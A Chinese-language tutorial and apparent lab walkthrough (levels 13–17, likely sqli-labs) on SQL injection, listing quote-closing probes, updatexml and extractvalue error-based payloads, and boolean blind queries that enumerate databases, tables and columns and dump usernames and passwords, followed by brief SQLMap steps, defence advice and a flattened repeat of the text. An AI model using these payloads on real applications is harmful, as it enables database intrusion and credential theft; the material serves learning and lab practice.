SQL注入
字数 1291 2025-08-22 12:23:41

SQL注入攻击技术全面解析

1. SQL注入基础概念

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而绕过安全验证或获取数据库中的敏感信息。

2. SQL注入类型分类

2.1 数值型注入

  • 测试方法:
    id=1 and 1=1
    id=1 and 1=2
    
  • 通常配合联合注入(UNION SELECT)来爆取数据

2.2 字符型注入

  • 需要闭合引号,常见闭合方式:

    id=1' and '1'='1 --+(#)
    id=1') and '1'='1 --+(#)
    id=1')) and '1'='1 --+(#)
    id=1" and '1'='1 --+(#)
    id=1") and '1'='1 --+(#)
    id=1")) and '1'='1 --+(#)
    
  • 不知道确切参数值时:

    uname=' or 1=1 --+(#)
    uname=') or 1=1 --+(#)
    uname=' ))or 1=1 --+(#)
    uname=" or 1=1 --+(#)
    uname=") or 1=1 --+(#)
    uname=")) or 1=1 --+(#)
    

2.3 报错注入

  • 利用数据库报错信息获取数据
  • 常用函数:
    updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1)
    extractvalue(1,concat(0x5c,(select group_concat(username,id,password) from users),0x5c))
    

2.4 盲注

  • 布尔盲注:

    if(1=1,1,0)  -- 符合条件则为1,反之则0
    ' OR LENGTH((SELECT database())) = 8#  -- 判断长度
    ' OR SUBSTR((SELECT database()),1,1)='s' #  -- 判断确切字符
    
  • 时间盲注:

    • 在布尔盲注基础上使用sleep(5)函数

3. MySQL常用函数与语法

3.1 常用函数

  • length() - 获取长度
  • substring()substr() - 截取字符串
    • 参数1为字段
    • 参数2为起始位置
    • 参数3为长度
  • group_concat() - 多参数拼接通过逗号分开
  • concat() - 多参数拼接
  • concat_ws() - 带分隔符的拼接
    • 参数1为分割符
    • 其他参数为要拼接的字段

3.2 特殊符号

  • 0x7e - 表示~
  • 0x5c - 表示\

3.3 高级语法示例

' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit
  • concat_ws(':',username,password) - 用':'分隔两个字段
  • FROM (SELECT username, password FROM users) text - 将子查询结果包装为临时表text

4. information_schema数据库利用

MySQL 5+版本中,默认存在information_schema数据库,包含重要表:

  • SCHEMATA - 存储数据库信息
    • 关键字段:SCHEMA_NAME
  • tables - 存储表信息
    • 关键字段:TABLE_SCHEMA(库名)、TABLE_NAME(表名)
  • columns - 存储字段信息

查询示例:

-- 查询www_dvwa_com库中所有表和字段
select * from information_schema.COLUMNS where TABLE_SCHEMA='www_dvwa_com'

5. 实战案例解析

5.1 第13关注入

  • 查数据库名:

    1') and info() #
    
  • 查表名:

    1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
    
  • 查字段名:

    1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)#
    
  • 查数据:

    1') and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1)#
    1') and extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)) #
    

5.2 第14关注入

  • 注入点:

    1" or 1=1 #
    
  • 爆数据库:

    1" and info() #
    1" and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1)#
    1" and extractvalue(1,concat(0x5c,(select group_concat(username,id,password) from users),0x5c)) #
    

5.3 第15关盲注

  • 判断长度:

    ' OR LENGTH((SELECT database())) = 8#
    
  • 爆数据库名:

    ' OR SUBSTR((SELECT database()),1,1)='s' #
    
  • 判断表名长度:

    ' OR LENGTH((SELECT group_concat(table_name) from information_schema.tables where table_schema=database())) = 29#
    
  • 爆表名:

    ' OR SUBSTR((SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='s' #
    
  • 判断列名长度:

    ' OR LENGTH((SELECT group_concat(column_name) from information_schema.columns where table_schema=database() AND table_name='users')) =20#
    
  • 爆列名:

    ' OR SUBSTR((SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='s' #
    
  • 判断数据长度:

    ' OR LENGTH((SELECT group_concat(username,id,password) from security.users)) =192#
    
  • 爆数据:

    ' OR SUBSTR((SELECT group_concat(username,id,password) from security.users),1,1)='s' #
    

5.4 第17关报错注入

  • 判断注入类型:

    ' OR 1 = 1#
    ') OR 1 = 1#
    ')) OR 1 = 1#
    " OR 1 = 1#
    ") OR 1 = 1#
    ")) OR 1 = 1#
    
  • 获取MySQL版本:

    ' OR updatexml(1,concat("!",version()),2)#&submit=Submit#
    
  • 爆表名:

    ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit#
    
  • 爆字段名:

    ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit#
    
  • 获取用户名和密码:

    ' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)#&submit=Submit#
    

6. SQLMap工具使用

  1. 下载CO2插件
  2. 配置sqlmap和python环境
  3. 在要注入的地方抓包
  4. 将抓包数据发送给sqlmap
  5. 点击run执行
  6. 可自定义配置参数

7. 防御建议

  1. 使用参数化查询(Prepared Statements)
  2. 实施最小权限原则
  3. 对输入进行严格的验证和过滤
  4. 使用Web应用防火墙(WAF)
  5. 定期进行安全审计和渗透测试
  6. 错误信息处理,避免泄露敏感信息

8. 总结

SQL注入攻击手段多样,从简单的数值型注入到复杂的报错注入和盲注,攻击者可以通过多种方式获取数据库信息。了解这些技术有助于更好地防御SQL注入攻击。在实际应用中,应结合多种防御措施,确保系统安全。

SQL注入攻击技术全面解析 1. SQL注入基础概念 SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而绕过安全验证或获取数据库中的敏感信息。 2. SQL注入类型分类 2.1 数值型注入 测试方法: 通常配合联合注入(UNION SELECT)来爆取数据 2.2 字符型注入 需要闭合引号,常见闭合方式: 不知道确切参数值时: 2.3 报错注入 利用数据库报错信息获取数据 常用函数: 2.4 盲注 布尔盲注: 时间盲注: 在布尔盲注基础上使用sleep(5)函数 3. MySQL常用函数与语法 3.1 常用函数 length() - 获取长度 substring() 或 substr() - 截取字符串 参数1为字段 参数2为起始位置 参数3为长度 group_concat() - 多参数拼接通过逗号分开 concat() - 多参数拼接 concat_ws() - 带分隔符的拼接 参数1为分割符 其他参数为要拼接的字段 3.2 特殊符号 0x7e - 表示 ~ 0x5c - 表示 \ 3.3 高级语法示例 concat_ws(':',username,password) - 用':'分隔两个字段 FROM (SELECT username, password FROM users) text - 将子查询结果包装为临时表text 4. information_ schema数据库利用 MySQL 5+版本中,默认存在 information_schema 数据库,包含重要表: SCHEMATA - 存储数据库信息 关键字段: SCHEMA_NAME tables - 存储表信息 关键字段: TABLE_SCHEMA (库名)、 TABLE_NAME (表名) columns - 存储字段信息 查询示例: 5. 实战案例解析 5.1 第13关注入 查数据库名: 查表名: 查字段名: 查数据: 5.2 第14关注入 注入点: 爆数据库: 5.3 第15关盲注 判断长度: 爆数据库名: 判断表名长度: 爆表名: 判断列名长度: 爆列名: 判断数据长度: 爆数据: 5.4 第17关报错注入 判断注入类型: 获取MySQL版本: 爆表名: 爆字段名: 获取用户名和密码: 6. SQLMap工具使用 下载CO2插件 配置sqlmap和python环境 在要注入的地方抓包 将抓包数据发送给sqlmap 点击run执行 可自定义配置参数 7. 防御建议 使用参数化查询(Prepared Statements) 实施最小权限原则 对输入进行严格的验证和过滤 使用Web应用防火墙(WAF) 定期进行安全审计和渗透测试 错误信息处理,避免泄露敏感信息 8. 总结 SQL注入攻击手段多样,从简单的数值型注入到复杂的报错注入和盲注,攻击者可以通过多种方式获取数据库信息。了解这些技术有助于更好地防御SQL注入攻击。在实际应用中,应结合多种防御措施,确保系统安全。